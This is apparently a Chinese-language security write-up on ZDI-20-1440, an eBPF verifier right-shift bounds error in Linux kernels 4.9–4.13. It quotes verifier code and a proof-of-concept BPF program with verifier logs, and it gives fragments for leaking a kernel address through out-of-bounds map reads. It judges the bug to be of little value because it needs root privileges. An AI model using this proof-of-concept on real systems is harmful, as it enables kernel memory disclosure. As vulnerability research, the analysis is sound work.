漏洞背景
2020年4月份,ZDI收到一个Linux 内核eBPF模块越界读写漏洞的披露,编号为ZDI-20-1440,影响版本Linux 内核版本4.9~4.13,在Debian 9上应用相关版本的内核。根据ZDI 120天的漏洞披露原则,产商并未给出回应,所以此漏洞现未有相关漏洞补丁,以0day状态被披露。
漏洞分析
漏洞点在BPF_RSH操作,函数调用关系为do_check->check_alu_op->adjust_reg_min_max_vals->case BPF_RSH
static int do_check(struct bpf_verifier_env *env)
{
//...
if (class == BPF_ALU || class == BPF_ALU64) {
err = check_alu_op(env, insn); // <-- [1]
if (err)
return err;
}
//...
}
static int check_alu_op(struct bpf_verifier_env *env, struct bpf_insn *insn)
{
// ...
/* first we want to adjust our ranges. */
adjust_reg_min_max_vals(env, insn); // <-- [2]
//...
}
static void adjust_reg_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn)
{
//...
if (BPF_SRC(insn->code) == BPF_X) {
check_reg_overflow(®s[insn->src_reg]);
min_val = regs[insn->src_reg].min_value;
max_val = regs[insn->src_reg].max_value;
}
// ...
case BPF_RSH:
/* RSH by a negative number is undefined, and the BPF_RSH is an
* unsigned shift, so make the appropriate casts.
*/
if (min_val < 0 || dst_reg->min_value < 0)
dst_reg->min_value = BPF_REGISTER_MIN_RANGE;
else
dst_reg->min_value = (u64)(dst_reg->min_value) >> min_val; // <-- [3]
if (dst_reg->max_value != BPF_REGISTER_MAX_RANGE)
dst_reg->max_value >>= max_val; <-- [4]
break;
// ...
}
[3]、[4]处的操作是根据源寄存器的min_value和max_value 进行右移操作获得目的寄存器的min_value和max_value,然而计算错误了,这相当于:
dst_reg->min_value = (dst_reg->min_value) >> src_reg->min_value
dst_reg->max_value = (dst_reg->max_value) >> src_reg->max_value
但右移操作实际上是除法操作,要获得目的寄存器的最大值,应该用目的寄存器的最大值除以源寄存器的最小值,所以正确操作应该是:
dst_reg->min_value = (dst_reg->min_value) >> src_reg->max_value
dst_reg->max_value = (dst_reg->max_value) >> src_reg->min_value
所以poc 构造如下,这个版本的内核还未引入BPF_JLE,所以都用BPF_JGE来设置寄存器的范围:
static int load_my_prog()
{
struct bpf_insn my_prog[] = {
BPF_LD_MAP_FD(BPF_REG_9,ctrl_mapfd),
BPF_MAP_GET(0,BPF_REG_8),
BPF_MOV64_REG(BPF_REG_6, BPF_REG_0), //addr r_dst = (r0)
BPF_MOV64_REG(BPF_REG_7, BPF_REG_0), //addr r_dst = (r0)
BPF_MOV64_IMM(BPF_REG_0,0x0),
BPF_LDX_MEM(BPF_DW,BPF_REG_3,BPF_REG_6,0),
BPF_LDX_MEM(BPF_DW,BPF_REG_4,BPF_REG_6,8),
BPF_JMP_IMM(BPF_JGE, BPF_REG_3, 0, 1),
BPF_MOV64_IMM(BPF_REG_0,0x0),
BPF_JMP_IMM(BPF_JGE, BPF_REG_3, 0x1000, 7),
BPF_JMP_IMM(BPF_JGE, BPF_REG_4, 0, 1),
BPF_MOV64_IMM(BPF_REG_0,0x0),
BPF_JMP_IMM(BPF_JGE, BPF_REG_4, 1024, 4),
BPF_ALU64_REG(BPF_RSH, BPF_REG_3, BPF_REG_4),
BPF_ALU64_REG(BPF_ADD, BPF_REG_7, BPF_REG_3),
BPF_LDX_MEM(BPF_DW,BPF_REG_0,BPF_REG_7,0),
BPF_STX_MEM(BPF_DW,BPF_REG_6,BPF_REG_0,0x10),
BPF_MOV64_IMM(BPF_REG_0,0x0),
BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,my_prog,sizeof(my_prog),"GPL",0);
}
打印日志如下:
2: (bf) r1 = r9
3: (bf) r2 = r10
4: (07) r2 += -4
5: (62) *(u32 *)(r10 -4) = 0
6: (85) call 1
7: (55) if r0 != 0x0 goto pc+1
R0=inv,min_value=0,max_value=0 R9=map_ptr(ks=4,vs=256,id=0) R10=fp
8: (95) exit
from 7 to 9: R0=map_value(ks=4,vs=256,id=0),min_value=0,max_value=0 R9=map_ptr(ks=4,vs=256,id=0) R10=fp
9: (79) r8 = *(u64 *)(r0 +0)
10: (bf) r6 = r0
11: (bf) r7 = r0
12: (b7) r0 = 0
13: (79) r3 = *(u64 *)(r6 +0)
14: (79) r4 = *(u64 *)(r6 +8)
15: (35) if r3 >= 0x0 goto pc+1
R0=imm0,min_value=0,max_value=0 R3=inv,min_value=0 R4=inv R6=map_value(ks=4,vs=256,id=0),min_value=0,max_value=0 R7=map_value(ks=4,vs=256,ip
16: (b7) r0 = 0
17: (35) if r3 >= 0x1000 goto pc+7
R0=imm0,min_value=0,max_value=0 R3=inv,min_value=0,max_value=4095 R4=inv R6=map_value(ks=4,vs=256,id=0),min_value=0,max_value=0 R7=map_valup
18: (35) if r4 >= 0x0 goto pc+1
R0=imm0,min_value=0,max_value=0 R3=inv,min_value=0,max_value=4095 R4=inv,min_value=0 R6=map_value(ks=4,vs=256,id=0),min_value=0,max_value=0p
19: (b7) r0 = 0
20: (35) if r4 >= 0x400 goto pc+4
R0=imm0,min_value=0,max_value=0 R3=inv,min_value=0,max_value=4095 R4=inv,min_value=0,max_value=1023 R6=map_value(ks=4,vs=256,id=0),min_valup
21: (7f) r3 >>= r4
22: (0f) r7 += r3
23: (79) r0 = *(u64 *)(r7 +0)
R0=imm0,min_value=0,max_value=0 R3=inv,min_value=0,max_value=0 R4=inv,min_value=0,max_value=1023 R6=map_value(ks=4,vs=256,id=0),min_value=0p
24: (7b) *(u64 *)(r6 +16) = r0
25: (b7) r0 = 0
26: (95) exit
from 20 to 25: R0=imm0,min_value=0,max_value=0 R3=inv,min_value=0,max_value=4095 R4=inv,min_value=1024 R6=map_value(ks=4,vs=256,id=0),min_vap
25: (b7) r0 = 0
26: (95) exit
从ctrl_buf[0] 读取值存入r3寄存器,读取ctrl_buf[1] 的值存入 r4寄存器,根据条件跳转设置r3的范围为[0,0×1000),设置r4的范围为[0, 0x400),所以进行r3 >> r4操作后,根据漏洞代码的计算r3的范围为:
r3->min_value = (r3->min_value) >> r4->min_value = 0 >> 0 = 0
r3->max_value = (r3->max_value) >> r4->max_value = 0xfff >> 0x3ff = 0
所以会将r3当作常数0,而r3的传入范围为[0,0×1000),造成r7(map指针)的越界读写。
调试结果如下:
调试可以看到dst_reg 的min_value和max_value都变成了0,此时会认为dst_reg的值为常数0.
但是该版本内核对PTR_TO_MAP_VALUE 指针的操作比较严格,必须要有CAP_SYS_ADMIN 权限开启allow_ptr_leaks标志位,才能设置 dst_reg->type = PTR_TO_MAP_VALUE_ADJ; 对map指针进行加减操作。
static int check_alu_op(struct bpf_verifier_env *env, struct bpf_insn *insn)
{
// ...
/* If we did pointer math on a map value then just set it to our
* PTR_TO_MAP_VALUE_ADJ type so we can deal with any stores or
* loads to this register appropriately, otherwise just mark the
* register as unknown.
*/
if (env->allow_ptr_leaks &&
BPF_CLASS(insn->code) == BPF_ALU64 && opcode == BPF_ADD &&
(dst_reg->type == PTR_TO_MAP_VALUE ||
dst_reg->type == PTR_TO_MAP_VALUE_ADJ))
dst_reg->type = PTR_TO_MAP_VALUE_ADJ;
else
mark_reg_unknown_value(regs, insn->dst_reg);
}
// ...
普通用户权限,连对map指针正常的加减操作都不允许:
0: (18) r9 = 0x0
2: (bf) r1 = r9
3: (bf) r2 = r10
4: (07) r2 += -4
5: (62) *(u32 *)(r10 -4) = 0
6: (85) call 1
7: (55) if r0 != 0x0 goto pc+1
R0=inv,min_value=0,max_value=0 R9=map_ptr(ks=4,vs=256,id=0) R10=fp
8: (95) exit
from 7 to 9: R0=map_value(ks=4,vs=256,id=0),min_value=0,max_value=0 R9=map_ptr(ks=4,vs=256,id=0) R10=fp
9: (79) r8 = *(u64 *)(r0 +0)
10: (bf) r6 = r0
11: (b7) r0 = 0
12: (b7) r1 = -559038737
13: (b7) r3 = 16
14: (0f) r6 += r3
R6 pointer arithmetic prohibited
所以要利用此漏洞需要拥有CAP_SYS_ADMIN 权限才行,这基本需要root才能开启,因此这个越界读写导致提权的漏洞实则比较鸡肋,并且在高版本内核已经修复了,所以Linux 社区不回应ZDI也是有一定道理的,但ZDI评分8.8也是偏高了。
漏洞利用
该漏洞没啥利用价值,但姑且写了个越界读写的poc,申请一个0x100大小的ctrl_map,通过设置 ctrl_buf[0] = 0x170*2;
ctrl_buf[1] = 1;
, 使得右移后的r3等于0x170,因为通过调试可以看到map指针+0x170处存放了一个内核地址,可以进行泄露。
……
ctrl_mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY,sizeof(int),0x100,1,0);
……
static void update_elem(uint32_t op)
{
ctrl_buf[0] = 0x170*2;
ctrl_buf[1] = 1;
bpf_update_elem(0, ctrl_buf, ctrl_mapfd, 0);
writemsg();
}
效果如下:
需要root权限,就很鸡肋,有点标题党的意思。
环境:
https://github.com/De4dCr0w/kernel-vul-env/tree/master/ZDI-20-1440